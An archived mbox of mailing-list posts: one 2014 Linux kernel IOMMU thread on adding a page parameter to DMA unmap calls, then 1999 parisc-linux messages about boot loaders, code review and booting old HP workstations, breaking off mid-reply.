X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mitchel Humpherys <mitchelh-sgV2jX0FEOL9JmXXK+q4OQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.comp.video.dri.devel,gmane.comp.emulators.xen.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [RFC] add a struct page* parameter to dma_map_ops.unmap_page
Date: Fri, 21 Nov 2014 12:18:32 -0800
Lines: 72
Approved: news@gmane.org
Message-ID: <vnkwh9xs2tpj.fsf@mitchelh-linux.qualcomm.com>
References: <alpine.DEB.2.02.1411111644490.26318@kaball.uk.xensource.com>
	<alpine.DEB.2.02.1411211147450.12596@kaball.uk.xensource.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416601128 24156 80.91.229.3 (21 Nov 2014 20:18:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Nov 2014 20:18:48 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
	dri-devel-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org, xen-devel-GuqFBffKawuULHF6PoxzQEEOCMrvLtNR@public.gmane.org,
	linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org, vinod.koul-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, deller-Mmb7MZpHnFY@public.gmane.org,
	jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org, dwmw2-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org,
	Ian Campbell <Ian.Campbell-Sxgqhf6Nn4DQT0dZR+AlfA@public.gmane.org>,
	dmaengine-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org, David Vrabel <david.vrabel-Sxgqhf6Nn4DQT0dZR+AlfA@public.gmane.org>,
	alexander.deucher-5C7GfCeVMHo@public.gmane.org, torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
	christian.koenig-5C7GfCeVMHo@public.gmane.org
To: Stefano Stabellini <stefano.stabellini-mvvWK6WmYclDPfheJLI6IQ@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Nov 21 21:18:38 2014
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1Xruf6-0005tk-Vs
	for glki-iommu@m.gmane.org; Fri, 21 Nov 2014 21:18:37 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id DA908A58;
	Fri, 21 Nov 2014 20:18:35 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 6E38526
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 21 Nov 2014 20:18:34 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from smtp.codeaurora.org (smtp.codeaurora.org [198.145.11.231])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id D3F2F2038C
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 21 Nov 2014 20:18:33 +0000 (UTC)
Original-Received: from smtp.codeaurora.org (localhost [127.0.0.1])
	by smtp.codeaurora.org (Postfix) with ESMTP id 659AD13F90E;
	Fri, 21 Nov 2014 20:18:33 +0000 (UTC)
Original-Received: by smtp.codeaurora.org (Postfix, from userid 486)
	id 536CA13F91F; Fri, 21 Nov 2014 20:18:33 +0000 (UTC)
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
	smtp1.linux-foundation.org
X-Spam-Level: 
X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,T_RP_MATCHES_RCVD
	autolearn=ham version=3.3.1
Original-Received: from localhost (i-global254.qualcomm.com [199.106.103.254])
	(using TLSv1.2 with cipher AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: mitchelh-4h6buKAYkuurB/BPivuO70B+6BGkLq7r@public.gmane.org)
	by smtp.codeaurora.org (Postfix) with ESMTPSA id C96EB13F90E;
	Fri, 21 Nov 2014 20:18:32 +0000 (UTC)
In-Reply-To: <alpine.DEB.2.02.1411211147450.12596-7Z66fg9igcxYtxbxJUhB2Dgeux46jI+i@public.gmane.org>
	(Stefano Stabellini's message of "Fri, 21 Nov 2014 11:48:33 +0000")
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/24.4 (gnu/linux)
X-Virus-Scanned: ClamAV using ClamSMTP
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:7442 gmane.linux.ports.mips.general:45495 gmane.comp.video.dri.devel:118946 gmane.comp.emulators.xen.devel:223749 gmane.linux.ports.arm.kernel:374477 gmane.linux.ports.parisc:6214 gmane.linux.kernel:1835246
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/7442>

On Fri, Nov 21 2014 at 03:48:33 AM, Stefano Stabellini <stefano.stabellini-mvvWK6WmYclDPfheJLI6IQ@public.gmane.org> wrote:
> On Mon, 17 Nov 2014, Stefano Stabellini wrote:
>> Hi all,
>> I am writing this email to ask for your advice.
>> 
>> On architectures where dma addresses are different from physical
>> addresses, it can be difficult to retrieve the physical address of a
>> page from its dma address.
>> 
>> Specifically this is the case for Xen on arm and arm64 but I think that
>> other architectures might have the same issue.
>> 
>> Knowing the physical address is necessary to be able to issue any
>> required cache maintenance operations when unmap_page,
>> sync_single_for_cpu and sync_single_for_device are called.
>> 
>> Adding a struct page* parameter to unmap_page, sync_single_for_cpu and
>> sync_single_for_device would make Linux dma handling on Xen on arm and
>> arm64 much easier and quicker.
>> 
>> I think that other drivers have similar problems, such as the Intel
>> IOMMU driver having to call find_iova and walking down an rbtree to get
>> the physical address in its implementation of unmap_page.
>> 
>> Callers have the struct page* in their hands already from the previous
>> map_page call so it shouldn't be an issue for them.  A problem does
>> exist however: there are about 280 callers of dma_unmap_page and
>> pci_unmap_page. We have even more callers of the dma_sync_single_for_*
>> functions.
>> 
>> 
>> 
>> Is such a change even conceivable? How would one go about it?
>> 
>> I think that Xen would not be the only one to gain from it, but I would
>> like to have a confirmation from others: given the magnitude of the
>> changes involved I would actually prefer to avoid them unless multiple
>> drivers/archs/subsystems could really benefit from them.
>
> Given the lack of interest from the community, I am going to drop this
> idea.

Actually it sounds like the right API design to me.  As a bonus it
should help performance a bit as well.  For example, the current
implementations of dma_sync_single_for_{cpu,device} and dma_unmap_page
on ARM while using the IOMMU mapper
(arm_iommu_sync_single_for_{cpu,device}, arm_iommu_unmap_page) all call
iommu_iova_to_phys which generally results in a page table walk or a
hardware register write/poll/read.

The problem, as you mentioned, is that there are a ton of callers of the
existing APIs.  I think David Vrabel had a good suggestion for dealing
with this:

On Mon, Nov 17 2014 at 06:43:46 AM, David Vrabel <david.vrabel-Sxgqhf6Nn4DQT0dZR+AlfA@public.gmane.org> wrote:
> You may need to consider a parallel set of map/unmap API calls that
> return/accept a handle, and then converting drivers one-by-one as
> required, instead of trying to convert every single driver at once.

However, I'm not sure whether the costs of having a parallel set of APIs
outweigh the benefits of a cleaner API and a slight performance boost...
But I hope the idea isn't completely abandoned without some profiling or
other evidence of its benefits (e.g. patches showing how drivers could
be simplified with the new APIs).


-Mitch

-- 
Qualcomm Innovation Center, Inc.
The Qualcomm Innovation Center, Inc. is a member of the Code Aurora Forum,
a Linux Foundation Collaborative Project

From - Thu Nov 08 21:10:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@verinet.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] missing docs
Date: Thu, 21 Oct 1999 19:47:25 -0600
Lines: 8
Approved: news@gmane.org
Message-ID: <m11eTni-000IbGC@kh12>
Reply-To: bame@verinet.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618572 26796 80.91.229.3 (22 Nov 2014 01:09:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@bame.verinet.com  Thu Oct 21 20:02:07 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA16547
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Oct 1999 20:02:06 -0600
Original-Received: (qmail 25411 invoked by uid 15267); 22 Oct 1999 02:03:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25404 invoked from network); 22 Oct 1999 02:03:03 -0000
Original-Received: from bame.verinet.com (HELO kh12) (root@206.168.244.141)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 02:03:03 -0000
Original-Received: from bame.verinet.com (really [127.0.0.1]) by bame.verinet.com
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m11eTni-000IbGC@kh12> (Debian Smail3.2.0.101)
	for <parisc-linux@thepuffingroup.com>; Thu, 21 Oct 1999 19:47:26 -0600 (MDT) 
Errors-To: bame@verinet.com
Original-Sender: bame@bame.verinet.com
Xref: news.gmane.org gmane.linux.ports.parisc:6215


I copied most of the parisc docs which are referenced from
http://www.thepuffingroup.com/parisc/documentation.html
over to http://puffin.external.hp.com/docs/ since
dtf.external.hp.com hasn't been very helpful lately.

	-Paul Bame


From - Thu Nov 08 21:10:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jle@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot loader
Date: Thu, 21 Oct 1999 19:10:54 -0700 (PDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.SUN.3.91.991021183516.1551A-100000@poseidon.cygnus.com>
References: <199910220055.SAA20611@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618573 26800 80.91.229.3 (22 Nov 2014 01:09:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@debian.fc.hp.com>
Original-X-From: jle@cygnus.com  Thu Oct 21 20:10:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA16733
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Oct 1999 20:10:05 -0600
Original-Received: (qmail 27348 invoked by uid 15267); 22 Oct 1999 02:11:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27340 invoked from network); 22 Oct 1999 02:11:01 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 02:11:01 -0000
Original-Received: from poseidon.cygnus.com (poseidon.cygnus.com [205.180.230.18])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id TAA24876;
	Thu, 21 Oct 1999 19:10:56 -0700 (PDT)
Original-Received: (jle@localhost) by poseidon.cygnus.com (8.6.9/8.6.4) id TAA03280; Thu, 21 Oct 1999 19:10:55 -0700
In-Reply-To: <199910220055.SAA20611@debian.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6216




On Thu, 21 Oct 1999, Paul Bame wrote:

> 
> Here's a sketch of a new (really, mostly stolen from other places
> like the existing boot_code code) boot loader for parisc.  It's
> aimed at solving some of our current problems (like linking ramdisks
> into the kernel) and being good enough to live on for a while,
> and be easily replaced if it starts to smell bad.
> 
 ...
> 
> BTW the current contender for the name, instead of hilo, is palo
> for PArisc LOader.  It is also a reminder of of Palo Alto
> which is where HP began.
> 
> Comments?

  My only comments are "keep it small and simple" and don't spend a lot of time
  on it. This was my "philosophy" when I first wrote the bootloader -- after
  all, it is just a bootloader. The whole idea was to spend a day or two
  writing it, so we could get to the _interesting_ stuff -- the kernel. In
  fact, the only reason I wrote a bootloader (instead of lifting the one from,
  say, mklinux) was to have a compact and simple one. 

  However, I'm all for cleaning it up a bit. The original code was actually
  quite nice and well-commented, especially considering the haste in which it
  was written. It has since degraded a shade after some hacking by others
  (as well as gaining functionality -- ELF loading, for example -- by the way,
  does that actually work?). 
  As far as naming goes, PALO, HILO, doesn't really matter to me although PALO
  is as cute as any. I like my original, verbose and iconoclastic name
  "PARISC/Linux Bootstrap v0.1" :).

  If you're really fired up, help out on the kernel. I'm confident Alex and
  Chris can find something that needs to be written! (I'm looking for time
  myself -- between more than full-time work at Cygnus, grad school at Rice,
  and 3 kids, I'm having trouble helping out much these days).

  Have fun, jason.


From - Thu Nov 08 21:10:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jle@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot messages from C3000 console
Date: Thu, 21 Oct 1999 19:23:20 -0700 (PDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.SUN.3.91.991021191324.1551B-100000@poseidon.cygnus.com>
References: <380FB68D.A8F28E62@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618573 26804 80.91.229.3 (22 Nov 2014 01:09:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:33 +0000 (UTC)
Cc: Paul Bame <bame@debian.fc.hp.com>, parisc-linux@thepuffingroup.com
To: frowand@cup.hp.com
Original-X-From: jle@cygnus.com  Thu Oct 21 20:22:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA17036
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Oct 1999 20:22:29 -0600
Original-Received: (qmail 30440 invoked by uid 15267); 22 Oct 1999 02:23:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30433 invoked from network); 22 Oct 1999 02:23:26 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 02:23:26 -0000
Original-Received: from poseidon.cygnus.com (poseidon.cygnus.com [205.180.230.18])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id TAA25288;
	Thu, 21 Oct 1999 19:23:22 -0700 (PDT)
Original-Received: (jle@localhost) by poseidon.cygnus.com (8.6.9/8.6.4) id TAA03291; Thu, 21 Oct 1999 19:23:22 -0700
In-Reply-To: <380FB68D.A8F28E62@hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6217




On Thu, 21 Oct 1999, Frank Rowand wrote:

>   read it.  To decode the procedure call I had to know where to find
>   documentation for page zero, know what PDCE_PROC is, figure out what PDC
>   procedure was being called.
> This is where my newbie status becomes apparent. 

   Yes. 

> excuse any foot in mouth here.  I looked at the Puffin web page and didn't
> notice anything about the process of making sure that code that is submitted
> has some minimal level of quality.  Is it just a matter of the community
> applying peer pressure?
> 

  We could institute ECN's (engineering change notices, for those of you
  who've never worked for HP) if that would help :)...

  But seriously, this is an important concern. Normally, there would be
  a "maintainer" who would review code for accuracy, cleanliness, quality,
  etc. before allowing it to be checked in. That person was me at one time,
  but due to tremendous time pressures, I gave up on that.

  jason.
 


From - Thu Nov 08 21:10:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot messages from C3000 console
Date: Thu, 21 Oct 1999 22:33:15 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910212221480.18206-100000@vodka.thepuffingroup.com>
References: <380FB68D.A8F28E62@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618573 26806 80.91.229.3 (22 Nov 2014 01:09:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:33 +0000 (UTC)
Cc: Paul Bame <bame@debian.fc.hp.com>, parisc-linux@thepuffingroup.com
To: frowand@cup.hp.com
Original-X-From: adevries@thepuffingroup.com  Thu Oct 21 20:30:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA17374
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Oct 1999 20:30:10 -0600
Original-Received: (qmail 32258 invoked by uid 15267); 22 Oct 1999 02:31:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32251 invoked from network); 22 Oct 1999 02:31:07 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 02:31:07 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.1])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id WAA18260;
	Thu, 21 Oct 1999 22:33:15 -0400
In-Reply-To: <380FB68D.A8F28E62@hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6218


On Thu, 21 Oct 1999, Frank Rowand wrote:
> Ok, tirade mode off.  This is where my newbie status becomes apparent.  Please
> excuse any foot in mouth here.  I looked at the Puffin web page and didn't
> notice anything about the process of making sure that code that is submitted
> has some minimal level of quality.  Is it just a matter of the community
> applying peer pressure?

In fact, it's *ALL* about the community applying pressure.

If the code in head.S is a bit rough, remember that it was just about the
first PA-RISC assembler that Helge or Philipp had ever written, so do keep
that in mind.  Also, at the start of the project, there was a very
conscious effort to only be concerned with 1.1 code.  It doesn't surprise
me in the least that it's not 2.0 compliant.

I agree that the code is unreadable though;  I've simply passed it off on
not being able to understand parisc assembler well enough.

We'd all appreciate it if you could commit appropriate changes to make the
code clearer.

- Alex


From - Thu Nov 08 21:10:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Simen Timian Thoresen" <simentt@dolphinics.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] rbooting an 735?
Date: Fri, 22 Oct 1999 08:01:42 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <199910220556.GAA01903@scimitar.dolphinics.no>
Reply-To: simen-tt@online.no
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416618573 26809 80.91.229.3 (22 Nov 2014 01:09:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:33 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: simen-tt@online.no  Thu Oct 21 23:54:38 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA18397
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Oct 1999 23:54:38 -0600
Original-Received: (qmail 13490 invoked by uid 15267); 22 Oct 1999 05:55:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13483 invoked from network); 22 Oct 1999 05:55:34 -0000
Original-Received: from scifi.dolphinics.no (193.71.152.46)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 05:55:34 -0000
Original-Received: from scimitar.dolphinics.no (scimitar.dolphinics.no [193.71.152.129])
	by scifi.dolphinics.no (8.9.3/8.9.3) with ESMTP id HAA20458
	for <parisc-linux@thepuffingroup.com>; Fri, 22 Oct 1999 07:43:09 +0200
Original-Received: from scimen (scimen [193.71.152.165])
	by scimitar.dolphinics.no (8.8.8/8.8.8) with SMTP id GAA01903
	for <parisc-linux@thepuffingroup.com>; Fri, 22 Oct 1999 06:56:37 +0100 (MET)
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.11)
Xref: news.gmane.org gmane.linux.ports.parisc:6219

Is anybody rbooting an 735?
I've replaced my exceedingly noisy Micropolis disk, and replaced it 
with a 2.1G seagate thing which, altho so far working nicely, 
refuses to boot. So, to try new 'lin-ux' kernels I have to use rboot.

As far as I can see, the rbootd server is configured correctly, and is 
communicating with the 735. Unfortunately, the 735 seems not to 
request an image name, and the server responds with 'denied' in 
the syslog.

So - Is there anybody out there with a 735 that /does/ request an 
image? 

-Simen
--
Simen Thoresen, Beowulf-cleaner and random artist.

Er det ikke rart?
The gnu RART-project on valinor.dolphinics.no/~simentt/rart


From - Thu Nov 08 21:10:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Magne =?iso-8859-1?Q?=D8stlyngen?= <magne@spacetec.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] So you wanna get to a prompt, eh?
Date: Fri, 22 Oct 1999 16:22:40 +0200
Organization: KSPT
Lines: 18
Approved: news@gmane.org
Message-ID: <38107330.E3716195@spacetec.no>
References: <Pine.LNX.4.10.9910211105330.17129-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618574 26812 80.91.229.3 (22 Nov 2014 01:09:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:34 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: magne@spacetec.no  Fri Oct 22 08:21:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA20043
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Oct 1999 08:21:57 -0600
Original-Received: (qmail 32418 invoked by uid 15267); 22 Oct 1999 14:22:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32377 invoked from network); 22 Oct 1999 14:22:49 -0000
Original-Received: from jupiter.spacetec.no (HELO spacetec.no) (192.51.5.11)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 14:22:49 -0000
Original-Received: from spacetec.no (metis.spacetec.no [192.51.5.180])
	by spacetec.no (8.9.1a/8.9.1) with ESMTP id QAA10784
	for <parisc-linux@thepuffingroup.com>; Fri, 22 Oct 1999 16:22:41 +0200
Original-Sender: magne@spacetec.no
X-Mailer: Mozilla 4.7 [en] (X11; I; IRIX 6.5 IP32)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6220

> The 700 has an ancient IO architecture that we don't have any
> documentation on, so it's not high on the list of priorities.

But it is possible to get the docs from HP?

> However, if
> someone has patches to support it, we'd be happy to apply them.
> As for cross compiling... we're forced to use HPUX because we don't have a
> reasonable and functioning cross linker. More on that later.

Is it possible to compile with linux, and do only the linking on the hp?
(It isn't very fast.. :)  Can I link with HPUX 9.03? (probably not)
10.30? (It doesn't run 11.x)

-- 
Magne stlyngen <magne@spacetec.no>
                <magne@skybert.org>


From - Thu Nov 08 21:10:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rbooting an 735?
Date: Fri, 22 Oct 1999 08:00:01 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <199910221500.IAA00520@milano.cup.hp.com>
References: <199910220556.GAA01903@scimitar.dolphinics.no>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618574 26819 80.91.229.3 (22 Nov 2014 01:09:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: simen-tt@online.no
Original-X-From: grundler@cup.hp.com  Fri Oct 22 08:59:12 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA20439
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Oct 1999 08:59:11 -0600
Original-Received: (qmail 13100 invoked by uid 15267); 22 Oct 1999 15:00:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13087 invoked from network); 22 Oct 1999 15:00:06 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 15:00:06 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id KAA01659
	for <parisc-linux@thepuffingroup.com>; Fri, 22 Oct 1999 10:59:06 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id IAA00520; Fri, 22 Oct 1999 08:00:01 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 22 Oct 1999 08:01:42 PDT."
             <199910220556.GAA01903@scimitar.dolphinics.no> 
Xref: news.gmane.org gmane.linux.ports.parisc:6221

"Simen Timian Thoresen" wrote:
> Is anybody rbooting an 735?
> I've replaced my exceedingly noisy Micropolis disk, and replaced it 
> with a 2.1G seagate thing which, altho so far working nicely, 
> refuses to boot.

Many of the older HP-UX systems can NOT boot from a "whole disk"
which is greater than 2GB. The IODC on older boxes has problems
when the byte offset into the disk goes "negative" (exceeds what
can be represented by "sign int"). And the "whole disk" layout puts
